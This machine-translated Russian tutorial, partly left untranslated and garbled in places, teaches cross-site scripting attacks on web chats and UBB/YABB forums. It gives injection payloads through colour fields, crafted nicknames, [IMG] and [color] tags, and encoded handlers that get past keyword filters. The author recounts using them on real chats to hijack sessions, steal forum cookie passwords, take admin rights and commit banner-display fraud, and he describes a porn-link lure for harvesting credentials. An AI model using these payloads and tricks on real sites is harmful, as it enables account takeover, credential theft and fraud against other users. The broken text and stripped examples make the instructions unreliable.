This page has been robot translated, sorry for typos if any. Original content here.

Hacking Chat Part 2

  • Part 1
  • Part 2

  • Variations on a Theme

    In the previous chapter, we examined the case when a color was inserted into the text of a page without limiting quotes. But what if quotes are still there? For example, chat text looks like this:
    Traveler - Alpha, hello))
    Alpha - Hello everyone! !!

    As you can see, the color is inserted in the framing quotation marks. This problem is easily resolved if the chat does not filter out the ' character. If so, then we can just close the open quotation mark, and then write our script. For example, setting the color value as red 'size = 20' <FONT color = # 00ff00> we again get the effect with a large font. Note the space and the apostrophe at the end. They are necessary so that the closing quote that the chat itself inserts does not destroy our attributes. As a result, our message will look like:

    Shram - Hi

    If the chat does not miss the quotation mark that frames the value of the parameter, then it will not be possible to crack the chat through this parameter :( (. Although some things are possible here: see the end of this chapter.

    This method very often (almost always) works for a given email address (in the chatlanin settings or in the return address field in forums and guest books). Typically, the link to the soap goes in the forums as follows:

    <b>&lt;a; Fedya Pupkin &lt;/a&gt;</b> (fragment mailto: the gateway inserts itself). Then by setting the value of soap to "style = background-image: url (javascript: alert ('Well_no_y_menya_mela!'))” , We send an alert to any forum visitor :) ) (note that, as a rule, filters for input characters are not installed at the soap address). True, some forums and chats seem to check the soap, but this check comes down to requiring the presence of the @ symbol. If this is the case, then we will delight the forum creators and draw a dog for them as follows: "style = background-image: url (javascript: alert ('Well_no_u_menya_mela!'))" .

    In some chats, you can insert your own pictures by setting the address of the picture. As we already know, where there is a URL, you can insert a script there. I won’t even chew it. Everything is so clear.

    The first chapter showed how to change the chat input form. In particular, it was necessary to change the relative address of the action field to absolute. However, the structure of the chat can be so complex that many replacements may be required. In all cases, changing addresses is inconvenient (and you can make a mistake). Instead, you can recommend the tag <base href = 'http: //'^gt; that is inserted anywhere in the HTML document. In this case, all relative addresses will be addressed relative to the address specified in the base tag (in this case, relative to ), regardless of the real base DNS name.

    You probably know what sniffers are? If not, I'll tell you the sniffer - a very useful thing that allows you to track traffic. In the case of a chat, the sniffer allows you to determine the IP addresses of the chat, as well as their temporary names and codes (for chats with temporary names). Sometimes it even allows you to get admin rights :) )

    It often happens that the nickname in the chat text acts as a link, when you click on it, you can send a private message to the chat member. Here's what it looks like in HTML:

    Alpha - Hello!

    Moderator - Hello!

    In addition to the effect described in the chapter "Miracles with the = symbol", it is possible to insert a script that fires on the event of a click on a link (if the chat does not filter out quoting quotes - in this case , - and the + symbol). To do this, set the nickname as the following value: "+ alert ('Hello!') +" . You can insert something more serious (only using the toString () function). For example, such a nickname "+ toString (open ('//', '_ top ')) + " sends the user who poked on your nickname to take a break from the chat in Yahoo :) )

    Hacking Chat M

    As mentioned in the first chapter, there are two methods of hacking chats. All the above examples relate to the first method - the method of penetrating the tag parameters. Here I want to show the technology of the second method - the method of breaking the structure of HTML.

    The color of chat messages M was set in a numerical form (and therefore had a limit on the color length - 7 characters), had fancy filters, but missed a single character ' . Here is a snippet of chat messages:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;РТУТЬ&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;РТУТЬ:&lt;/font&gt;&lt;/a&gt;&lt;font color=#FF0000 class="уц"&gt;ПЛУГиПРЕЙ:КОРОШО!&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;&lt;br&gt;&lt;font class="а1"&gt;22:41:25 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;Весь_в_сертах&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0000FF class="ку"&gt;Весь_в_сертах:&lt;/font&gt;&lt;/a&gt;&lt;font color=#0000FF class="уц"&gt;Денис_Семенов: ПРАВИЛЬНЕЙ БУДЕТ ВСЕ&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    As you can see, the color was indicated without framing quotes. The hacking technology is simple: log in with an arbitrary nickname and color. ' Then, after entering the chat, we get a message like 'style = background-image: url (javascript: alert (' Hello_people !! ')) . Pay attention to the gap at the end - it is required. Our message is as follows:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href=javascript:parent.parent.sewho(&amp;#39;Algol&amp;#39;) onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;Algol:&lt;/font&gt;&lt;/a&gt;&lt;font color=' class="уц"&gt;' style="background-image:url(javascript:alert('Hello_people!!'))&lt;/font"&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    It turns out that part of the HTML code - class = "ku"> - appeared inside single quotes, and is considered by the browser as a string-value of color. The closing angle bracket of the tag also falls into this line, so that our message is inside the tag! The part of the code immediately following our message it is not understood by the browser and is ignored (moreover, this part should be separated by a space from our style parameter, otherwise the parameter as a whole will be considered erroneous), but the following angle bracket is considered to close the font tag. Everything is very simple.

    A bit about backslash character

    JavaScript constant strings have one special control character. This is a backslash character \ . One of its purposes is as follows: the quote character following it is considered to be a character, not a line terminator. For example:

    &lt;script&gt; alert ('It \' s') &lt;/script&gt; - does not give an error message, since the apostrophe in combination with \ in the middle of the line is not considered the end of the line. While &lt;script&gt; alert ('It's') &lt;/script&gt; gives an error message.

    Since the \ character itself is the control character (and therefore does not appear directly on the line), there is a \\ combination to display itself. Such a combination is displayed as just the \ character.

    What does all this have to do with hacking chats? But what: some chats do not filter the quotation mark " (or ' ) in the nickname field, but replace them with combinations of the type \" (or \' ), believing that in this case the quotation marks will be displayed but will not be able to act as delimiters, and therefore cannot destroy the HTML structure. At the same time, short-sighted developers lose sight of the fact that the user can use the \ character to block their \ character. For example, a chat fragment for a message from a user with the nickname Sh "ram looks like this:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\&amp;quot;gol&amp;quot;)&gt;Sh"ram&lt;a&gt;</code>

    In this case, the quotation mark in the nickname does not violate the structure of the tag. But if we change the nickname to Al \ "gol , then inserting a slash before the quotation mark, the chat will create the following HTML:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\\&amp;quot;gol&amp;quot;)&gt;Sh\"ram&lt;/a&gt;</code> At the same time, our slash blocks the chat slash, and the nickname quotation mark destroys the HTML structure! This is visible if you click on the link in the example.

    This effect can be used to hack chats by breaking HTML structure. Note that in some cases, the same method can block bounding quotes by inserting a backslash at the end of the nickname.

    Recently, I noticed another hole related to the incorrect use of the symbol \ chat programmers. Let, for example, the user's nickname be inserted into the body of the chat in the form

    <code>&lt;a href=javascript:msgto(&amp;quot;Algol&amp;quot;)&gt;Algol&lt;/a&gt;</code> If we change the identifier to Al'gol , the chat will accept such a nickname, but replace it with Al \ 'gol , naively believing that by inserting a backslash, they will protect the tag from destruction. In fact, this is not so. :) . When you insert such a nickname in the body of the chat, it will look like this:
    &lt;a href=javascript:msgto(&amp;quot;Al\ gol")'&gt; Al'gol &lt;/a&gt; .
    In this case, the explorer will give an error message when you try to poke on a nickname. The reason is this: the \ sign only makes sense inside javascript string constants, but not HTML! The HTML symbol \ itself does not understand, and therefore considers the first apostrophe found to be the end of the href attribute, despite the fact that it is preceded by \ . Thus, for example, such a nickname Algol '= will destroy the tag structure, despite the fact that a backslash is inserted before the apostrophe

    Hacking at http level

    As already mentioned, the chat server can track the referer field of the HTTP request, and not let it chat if this field differs from the desired one. In order to get around this obstacle, you need to catch the header of the HTTP request sent by chat to the server (using special programs, for example Naviscope) and write a special program that sends requests to the server. In this case, the contents of the queries (for example, the value of the color field) can be set arbitrarily.

    I will not dwell on this in detail. This goes beyond hacking HTML.

    I only note that at the HTTP level, you can do more tricky things than conventional HTML or JavaScript. In any case, I recommend viewing the headers of HTTP requests when working in chat. They will help you understand in more detail the work of the chat.

    Miracles with the symbol =

    What do you think will be displayed in the browser for such an HTML line:

    &lt;font onclick = alert ('=')&gt; Text &lt;/font&gt; ? I bet you will not guess (unless of course you work at Microsoft and did not develop MSIE). The result is so specific that I could not make an example that would demonstrate it. . But you can believe the word that the following will be displayed in the browser window: &lt;fontonclick = alert ('=')&gt; Text As you can see, the opening tag in this case is simply not perceived by the browser as a tag, although there are no syntax errors :) ) And what will happen if we write Text

    Oddly enough, in this case everything will be in order, although there is a syntax error. And if we click on the text, alert = will pop up. Try moving the third apostrophe beyond the angle bracket, or behind the text:

    &lt;font onclick = alert ('=')&gt; Text '&lt;/font&gt; It will also result in an unexpected result.

    Unfortunately I do not have the source code or detailed documentation for MSIE, but I think that in this case there is a clear error in MSIE. The browser probably analyzes the code in two steps. At the first stage, it selects tags, their attributes and the text that is between them, and at the second, it analyzes the JavaScript content of the tag parameters (we are talking only about those attributes that allow a script value, for example, href or onclick ). During the initial analysis, the browser for some reason considers the combination = 'to be the beginning of the line, despite the fact that the = symbol is already inside the line! Then, taking = ' as the beginning of the line, the program searches for the end (while completely forgetting that another line is open and not closed). Thus, everything that follows = ' (or = " ) and until the next character ' is ignored and considered a string! Therefore, in the first example, the browser did not perceive the tag: it did not find the closing angle bracket because it was (as it were) inside the string. But even more surprising is that at the second stage of the analysis of tag parameters, the browser perceives everything correctly (this can be verified by clicking on the text in the second example), and perceives the line where necessary, and finds the closing angle bracket where necessary. to that fragment of a third Text second example is not displayed in plain text (because as it is not the body of the tag), but is not paramatrom tag (as at the stage of analysis parameters to the compiler it just does not come)! Flame Hi Bill!

    Using this browser error, I was able to comment out part of the chat code, simply simply logging in with the nickname = :) ) Here is a snippet of code that displayed a list of those in the chat:

    <code>&lt;a href=javascript:parent.window.messageFor("=")&gt;=&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;a href="javascript:parent.window.messageFor(&amp;quot;Модератор&amp;quot;)"&gt;Модератор&lt;/a&gt;&lt;br&gt;</code>

    At the same time, my nickname in the list simply did not appear, since the fragment between quotation marks

    )&gt; = &lt;/a&gt; a href = javascript: parent.window.messageFor ( turned out to be outside the body of tags: -}. But when you click on the Moderator , the parent.window.messageFor function was called with the = parameter. There were similar "effects" when displaying my chat messages.

    It’s wonderful (or sad - looking for someone) that this glitch goes almost everywhere where you can at least enter a thread (at least for MSIE 5.50.4134.0600), and you don’t even need to change anything in the form. But the bad thing is that it is difficult to achieve significant benefits from this (for example, running a script).

    In conclusion, we note that the symbol > has the same effect, which is perceived as the end of the tag, despite the fact that it is inside the line. Fragment

    &lt;font onclick = alert ('&gt;')&gt; Text &lt;/font&gt; interpreted by the browser as erroneous, and it gives a curse that the string constant is not closed.

    Two hacking chat T

    Chat T skipped the following characters in the color field:

    '' ` = ;

    When inserting color into the chat, there were no framing quotes. A fragment of chat messages (by the way, the author of the chat apparently does not consider it necessary to close tags)), although we hope that this is done to improve performance):

    <code>&lt;FONT COLOR=008000&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt;- &lt;a href=javascript:parent.window.mfor(&amp;#39;BalamUY&amp;#39;)&gt;BalamUY&lt;/a&gt; : вошел в комнату &lt;FONT COLOR=green&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:03&amp;#39;)&gt;22:18:03&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Fialka&amp;#39;)&gt;Fialka&lt;/a&gt; : Sponsor&gt; Если интересная, то ниче.</code>

    Confused that the space was not passed by the filter. However, after some thought, I found the following solution - I took the color itself in single quotes, and after the color without space I inserted the style parameter: 'red'style = background-image: url (javascript: while (1 == 1) open ( )) . As noted in the second chapter, the separation space is not required in this case. :) )

    By the way, this chat was full of frames, including hidden and empty ones - probably thought of for any future extensions. But while admins were thinking about extensions, I found them a more useful use. I hung in this chat for a long time - several months. And it hung for a reason: in one of the hidden frames I shoved my website. And on the site there were banners of the banner network. In this way, I wrapped myself in about a hundred thousand banner displays, and my site jumped to 5-6 places in the ranking of Rambler Top 100 hits (in my group). Unfortunately, the banner network matched the hit / host ratio and realized that it was being led by the nose. It turned out that the same visitor visits my site 50 times a day. My account has been blocked. So probably still hanging there, restless :) )

    But back to our rams. After some time, the chat administration replaced the cgi-box. I don’t know what “improvements” were made in the second edition, but I just noticed one change: now the length of the color value string was limited and amounted to about 10 characters (by the way, this restriction is found in many chat rooms, although I don’t understand what is the point "Isn't it easier to put filters on the input characters? Although it is possible in this way they are protected from buffer overflows?). In this situation, of course, the old method no longer worked. You cannot squeeze a decent script into 10 characters (even the style itself did not fit here). I realized that you can only break through a nickname or the second method - destroying the HTML structure. For several hours I tried this way and that. In addition to the cheap effect of the disappearance of the nickname (chapter "Miracles with the symbol ="), nothing happened. Breaking the structure did not give anything for the following reason: by inserting the symbol ' instead of the color, I opened the line, but it was closed by an apostrophe that went in time reference (here the chat was just lucky - it was not intended as a protective measure, although many chats insert fictitious ones specifically for this tags like <! '"'> ):

    <code>&lt;FONT COLOR="&gt;&lt;a href=javascript:parent.window.Mtm(" 22:18:18')&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt; Привет!</code>

    That is, only the fragment <a href = javascript: parent.window.Mtm commented on . And all I got was removing the link tag for time. If it were possible to insert double quotes instead of single quotes, then there would be no problem, because in the chat double quotes were not used. But the symbol "was not passed by the filter. Going under a nickname like Algol = also did not give anything, because the characters after 'Algol =')> were ignored and were not considered tag parameters. Of course, another option worked at the end of the chapter“ Variations on subject ", but these scripts worked only when I clicked on my link and :( (. I was ready to admit that it’s impossible to crack the entire chat. And at the last moment, digging and experimenting in the bowels of HTML, I found that the backward apostrophe character is also a line terminator in HTML !!! And this character was skipped by the filter! Without thinking twice, I logged in with the nickname Algol and the color ` . And then as a message in the chat I sent the following line: ` style = background-image: url (javascript: alert ('Victory_will_be_en_en!')) . My message in the body of the chat looked like this:

    <code>&lt;FONT COLOR="`"&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt;`style=background-image:url(javascript:alert('Победа_будет_за_нами!'))</code>

    At the same time, the fragment <a href=javascript:parent.window.Mtm('22:18:18')> 22:18:18 </a> - <a href = javascript: parent.window.mfor ('Algol') > Algol </a> completely commented and was considered as if color, and the style parameter appeared inside the tag! Script worked :) )

    So T chat programmers will have to develop a new version of their brainchild. It remains only to be amazed at how many loopholes they leave, and how slowly they are being corrected. They say the whole point is in psychology: developers of protective systems cannot put themselves in the place of an attacker, but judge the system from their side, instead of looking at it from the outside.

    "Interception", "forgery" and obtaining rights.

    Consider the methods of capturing other people's messages (private messages) and sending messages on behalf of other chat members. There are different methods of interception designed for different types of chats. If the chat is completely hacked, then the operation of “forgery” (that is, inserting replicas on behalf of other chat rooms) is not difficult: you just need to send the victim a private script that will write some text to the replica line, and then click the “send” button. Similarly, you can stretch and privat user. However, such methods are too crude, primitive and difficult to apply. More perfect are such methods of interception, in which the chat itself takes you for another user.

    When creating HTML chats, the main problem is that the HTTP protocol, in principle, does not support persistent connections. This means that every time you want to receive messages or send a message, the chat program must “recognize” you, understand that you are you. If she did not recognize users, she would not be able to send you your privates, and could not write your messages on your behalf. Chats use different methods to identify participants. The most commonly used IP address method and dynamic name method. The first method is based on the fact that the same user has the same IP address during a communication session. I will not dwell on this method in detail, I can only say that this method has drawbacks. In particular, it may not work if the user uses a corporate proxy server, or if he has opened several chat windows. Recently, another method has often been used - the dynamic name method. The essence of the method is that every time a user enters the chat, he is automatically assigned a temporary unique login. This login is automatically registered in the page that the gateway sends to the user. Each time a user submits a replica form or requests messages from a chat, his page sends a temporary login to the server, by which the server actually identifies the user. The system generates a temporary login randomly, and two different users cannot have the same login. A login can consist of several parts. Most often this is the serial number of the user in the session, and a randomly generated password. Since the identification login is “wired” to the chat page of each user, the system knows for sure which user it is communicating with, regardless of its IP address, proxy servers, the number of open chat windows, etc.

    It is clear that if we knew the user’s login, then it would not be difficult for us to “squeeze” it under the user, simply simply correcting our username in our page, on his username. Then the system would take us for him ... It turns out that this can be easily done if the chat is hacked, and we can insert our picture into the chat. Then, if we use a sniffer as a picture (see the chapter "Variations on a theme"), then we can get temporary logins of all chat participants! And if we are interested in someone’s specific login, then we need to send him a sniffer in private. I note the following: the intercepted login is valid only as long as the user is in the chat, if he logs in (logs out and logs in again), he will already have a new temporary login.

    It is clear that if you intercept the administrator’s temporary login, then his rights will also automatically pass to us - for example, the ability to directly insert tags into messages (i.e. the absence of a filter for the < and > characters), or the ability to delete from the chat, or obtain information about the user etc.

    Third Chat Hack T

    So back to the long-suffering chat T. Not so long ago, chat T completely switched to a new core. Now the rules of the game have changed. First, the color field passed almost everything (up to the signs < and > ), and it was not difficult for me to crack it. But soon this hole was closed up (not without my participation). In the new version of the chat, the color skipped exclusively numbers and letters. Hacking through color has become impossible. This led to the search for more sophisticated methods. In fact, the only thing left was the nickname. From my own experience, I knew that cracking a chat through a nickname is quite difficult, as the developers select filters for the nickname rather carefully. However, in the chat, the "trick" that "the character set for the nickname is significantly expanded" was exaggerated. It went like a kind of advertisement. Having a little tinkered with filters on a nickname, I found that the following characters are skipped:

    '' ` = ; \

    The symbol "was skipped, but the chat automatically inserted the symbol \ in front of it. The mechanisms associated with this combination are described in the chapter" A little about the backslash symbol \ ". However, the effects described in this chapter did not give the desired result, and were inconvenient to use. I was looking for another solution, and I found it!

    Let's look at a fragment of chat messages:

    <code>&lt;a href='javascript:top.msgto("Algol")'&gt;Algol&lt;/a&gt;&lt;font&gt; Всем приветик &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;font&gt; Привет &lt;/font&gt;</code>

    As you can see, the nickname was given as a link, when clicked on, a certain function was called. The href link handler was enclosed in single quotes, and the nickname itself went in double quotes. Since the double quote was not actually missed by the chat in the nickname value, it was impossible to go beyond the limits of the function argument. A nickname of type = ` did not work, since the handler was enclosed in single apostrophes, and as was shown in the chapter" Miracles with the = symbol ", the effect with the = sign did not work. И тут я перечитал собственную статью, и обнаружил следующее: если обработчик заключен в кавычки, то первая же закрывающая кавычка считается концом обработчика, даже несмотря на то, что сама она находится внутри других кавычек (и идет как строковая константа). Those. например при компиляции следующего тега:

    &lt;a href='javascript:msgto("Mc'Donald")'&gt; браузер игнорирует двойные кавычки (поскольку они относятся не к HTML а к JavaScript), и воспринимает апостроф после Mc как закрывающую кавычку обработчика. Т.о. обработчиком является только javascript:msgto("Mc . Фактически это означало взлом чата. Однако нужно было довести баг чата до нужной "кондиции". Это тоже оказалось непросто. Можно было конечно логиниться под ником типа 'onmouseover=`alert('Hello')` . Но во-первых чат не пропускал слишком длинных ников, а во-вторых в чате полно модераторов, и понятное дело они бы заметили "необычный" ник. Поэтому я решил ломать методом разрушения структуры. После некоторых раздумий я нашел подходящий ник: `='A'=` . Посмотрим как в таком случае сообщения в чате: <code>&lt;ahref='javascript:top.msgto("`='A'=`")'&gt;`='A'=`&lt;/a&gt;&lt;font&gt;` style=background-image:url(javascript:alert()) &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;/em&gt;</code>


    ` style=background-image:url(javascript:alert()) был послан как сообщение в общак. Разберем как браузер компилирует приведенный пример: обработчиком href является 'javascript:top.msgto("`=' . Поскольку обработчик заключен в кавычки, то пробел перед следующим атрибутом тега не требуется. Как таковым и воспринимается A' , а его значением `")'>` . Поскольку значение тега заключено в кавычки, то пробел опять не требуется и дальнейший знак = опять рассматривается как значение некоего атрибута тега: 'A' , как и последующий фрагмент ` ` . Далее следует уже атрибут style=... который оказался внутри тега! Вот так-то :) )

    Еще несколько взломов многострадального чата T

    Как видно из предыдущей главы, в чате Т свободно можно было втиснуть скрипты, и естественно, что я творил там что хотел (вплоть до того, что назначал себя админом 255 уровня :) . Это конечно сильно не нравилось разработчику чата (с которым я кстати активно общался), и он как бы "пофиксил" баг следующим способом: в сообщениях чатлан он заменял слово script на script , где латинские буквы с и p были заменены на такие же, но из русской раскладки, и естественно, HTML не понимал их. В результате комбинация типа ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) не работала. Несмотря на то, что по прежнему можно было сниферить чат и ставить обработчики на события типа onmouseover (где префикс javascript: не обязателен, поскольку он по умолчанию считается языком обработчиков событий), но невозможность вставить скрипт, который бы сам запускался меня не устраивала. И тут меня снова выручила многоступенчатая система трансляции HTML. Как уже было замечено, при компиляции HTML в первую очередь компилирует теги и их параметры, а лишь затем компилируется содержимое обработчиков. А теперь вспомним, что каждый символ помимо "обычного" представления имеет закодированное представление (типа ½ или ½ ), которое превращается в обычный символ, при трансляции HTML. Возникает вопрос: на какой именно стадии трансляции происходит раскодировка кода в символ? Несложные эксперименты показывают, что последовательность такова:

    Компиляция HTML > Раскодировка символов > Компиляция обработчиков

    А посему, содержимое обработчиков можно не стеняясь посылать в закодированном виде, при этом фильтры чата его пропускают, а HTML уже на этапе трансляции превращает их в нормальный вид и исполняет! Проверте сами на таком примере (обработчик alert() заменен кодовой комбинацией):

    <code>&lt;font onclick=alert()&gt;Click me&lt;/font&gt;</code>

    Таким образом послав комбинацию

    ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) на экране чатовцев послушно появился алерт :) .

    Замечу две особенности : 1. Содержимое тега

    &lt;script&gt; нельзя посылать в закодированном виде, его содержимое не раскодируется HTML-ом; 2. Знак = после имени параметра тега и кавычки, ограничивающие обработчики, транслируются до раскодировки, и поэтому их посылать в закодированном виде нельзя (а жаль :{ ).

    Описанная особенность HTML значительно расширяет множество "крякаемых" чатов. Ведь достаточно что бы чат пропускал в поле ника символы & и ; , а в теле чата ник фигурировал в каком нибудь обработчике (типа href="javascript:msg('ник')" ), и в результате, залогинившись под ником '+alert()+' (который после компиляции будет выглядеть как '+alert()+' ), мы получаем скрипт срабатывающий при нажатии на ник.

    Но и это еще не все. Оказывается джаваскриптовский обработчик в параметре href можно писать и в юникоде! Вместо ника '+alert()+' можно логинится под '%2Balert()%2B' , результат будет тот же :) . Однако раскодировка юникода проходит только в обработчиках href (или в других, где должен присутствовать адрес). В других обработчиках (например onclick ) раскодировка юникода не происходит.

    Спустя некоторое время, админ запретил символ обратного апострофа в именах юзеров, и ник `='A'=` больше не проходил. Немного подумав, я нашел другой ник, который фактически делал то же самое: Don't= . Принцип его работы я думаю вы поймете сами (если вы читали предыдущие главы).

    Взлом UBB / YABB / IB форумов

    1. Через UBB тег [IMG] . В UBB/YABB форумах можно вставлять картинки, указав URL адрес в UBB теге [IMG]. Например: [IMG][/IMG] такой тег вставляет в сообщение картинку с адресом . При этом ничего не мешает вставить например такой тег [IMG]javascript:alert()[/IMG]. Как вы догадываетесь, такой адрес будет выдавать каждому кто посмотрит на ваше сообщение алерт вместо картинки. Правда некоторые версии UBB требуют что бы указанный адрес указывал на файл с расширениями gif или jpg , но эта проблема легко решаема. Просто ставим в конце точку с запятой и имя файла картинки : [IMG]javascript:alert();a.jpg[/IMG] . Конечно это повлечет ошибку джава скрипта, но нам уже все равно, поскольку первая часть скрипта сработает :) . Есть еще одна дыра в теге IMG: в некоторых версиях этот тег пропускает кавычку, как результат работает следующий пример:

    [IMG]"s=`s.jpg[/IMG]`style="background-image:url('javascript:alert()')" . Результат- тот же самый что и в первом примере.

    Приведенный глюк работает как в UBB так и в YABB форумах. Учитывая еще тот факт, что UBB форум хранит пароль и логин пользователя в кукисах, которые читаются страничкой форума, и хранятся в переменных, то запустив в тело чата сниффер, мы можем легко выковырять пароли и логины всякого пользователя, который посмотрит на наш мессаг :) )

    2. Как уже отмечалось, UBB форум хранит логин, ник и пароль пользователя в кукисах. Оказывается, что в некоторых случаях UBB форум берет ник пользователя не из своей БД, а из кукиса пользователя, при этом проверки ника на теги и любые символы не происходит! Таким образом, если в отсылаемом на сервер мессаге подделать кукис, и вставить вместо ника тег скрипта, то форум спокойно вставит этот тег в тело форума! Правда разработчики перемудрили, и в некоторых частях форума вставляются ники из БД, а в некоторых - из кукисов. Мне известны три случая, когда ник берется из кукиса: 1. На главной странице форума (там где пишется кто автор последнего сообщения в такой-то теме) 2. При ответе на реплику "с цитированием" - во фразе цитирования. 3. При редактировании сообщения (во фразе "отредактированно тем-то"). Отмечу, что 3.06.2002 фирма UBB выпустила патч на дырку в кукисах (не без моего скромного участия). Однако, несмотря на это, большинство форумов по прежнему используют старые версии :) )

    3. А вот еще одна дырка в форумах помимо того, что там срабатывает дырка связанная с тегом [IMG] , там есть еще и дырка в теге [COLOR] . Например посылая в форум такое сообщение

    [color=red;background-image:url('javascript:alert()')]Привет[/color] на экран каждого кто просмотрит ваше сообщение выскочет алерт. Суть дыры думаю не стоит объяснять: понятно и так.

    Всякая всячина

    Система безопасности аля микрософт подразумевает невозможность доступа с загруженной HTML странички к любой информации на машине, в том числе и к другим страничкам, открытым в данный момент. Однако эта система имеет некоторые странности в работе. Так, например, метод"", "privat") джаваскрипта должен открывать новое окно с именем "privat" и загружать в него сайт Это так и происходит если... окно с таким именем еще не открыто. Если же одноименное окно или фрейм уже открыт, то сайт загружается в уже открытое окно (или фрейм). А прикол заключатеся в том, что это окно может не иметь никакого отношения к нашему скрипту, и вообще принадлежать другому сайту )). Убедитесь сами: Откройте в новом окне ссылку: и зайдите в чат. А потом кликнете здесь: тыц , после чего посмотрите на свой приват в чате :) ) Красиво ?

    В некоторых чатах существет автоматическая вставка ссылок. А ведь можно послать и ссылку на сниффер :) . Типа вы посылаете сообщение Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал , а в общак вставляется

    Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал &amp;lt;a href= target=_blank&gt; После чего ваш друг смело тыкает в ссылку и ничего не увидев, советует вам выпить рассольчика, на что вы виновато каетесь Ой, Билли (Вилли/Джони/Джимми), я ошибся :( , держа в руках IP адрес , номер сессии или пароль с логином вашегособеседника :) .

    А вот еще один фокус на грани фантастики. Этот фокус я услышал от одного из админов чата. Правда сам его не проверял, но полагаю что это вполне может работать. Как вы наверное видели, во многих чатах есть счетчики посетителей. Всякие там Spy или top100 . А ведь счетчик автоматически фиксирует множество параметров посетителей, в том числе IP адреса, парамтеры среды окружения, поле referer и т.д., то есть фактически является сниффером. А статистика счетчика может быть открыта для всех... Улавливаете :)

    Хочу еще раз остановится на взломе чатов через цвет. Некоторые чаты пропускают любые символы в поле цвета, однако при вставке в тело чата, перед введенным значением цвета, вставляют символ # . Например если пользователь задал цвет aaff00 , то в тело чата этот цвет вставится в виде <font color=#aaff00> . В силу особенностей атрибута color, выяснилось следующее: если впереди цвета автоматом встявляется символ # , то чат ломается только если поле цвета пропускает пробел. Если же цвет пропускает любые символы, но не пробел, то взломать чат нельзя (можно только вызвать глюки например тегом <xml> задаваемым вместо цвета). Не буду объяснять почему это происходит, просто примите это на веру :) .

    В предыдущих главах уже упоминалось про метод вставки скриптов через background-image:url(javascript:...) . Эту запись можно сократить до background:url(javascript:...) . Результат тот же самый. Часто в чатах или форумах стоят фильтрв на ключевые слова типа javascript. Это можно обходить следующим образом: background:url(VBScriptt:alert()) or background:expression(alert())
    Табличка часто применяемых кодов:
    Symbol Decimal encoding 16-ая кодировка* Символьная кодировка Unicode
    " " " " "
    '' '' ''   ''
    ` ` `   `
    <пробел>   +
    = = =   %3D
    < < < < %3C
    > > > > %3E
    \ \ \   %5C
    % % %   %
    + + +   %2B
    <короткий дефис> ­ ­ ­ %AD
    & & & & &

    *-в некоторых случаях (если символ стоит в конце строки) точку с запятой можно опустить.

    It will not be superfluous for your friends to learn this information, share an article with them!

    Comments Expand / collapse the comment window expand / collapse

    When commenting, remember that the content and tone of your message can hurt the feelings of real people, show respect and tolerance to your interlocutors even if you do not share their opinion, your behavior in the conditions of freedom of expression and anonymity provided by the Internet changes not only virtual, but also the real world. All comments are hidden from the index, spam is controlled.
    Liked? Subscribe to RSS news,
    to be the first to receive information
    about all the important events of the country and the world.
    You can also support, click: